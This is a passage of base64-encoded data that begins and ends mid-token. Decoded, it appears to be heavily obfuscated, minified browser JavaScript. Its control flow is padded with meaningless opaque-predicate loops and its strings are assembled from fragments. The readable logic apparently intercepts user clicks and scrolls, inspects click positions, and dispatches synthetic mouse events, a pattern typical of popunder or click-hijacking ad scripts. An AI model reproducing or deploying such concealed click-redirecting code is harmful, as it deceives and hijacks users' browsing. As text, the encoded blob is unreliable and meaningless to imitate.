2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2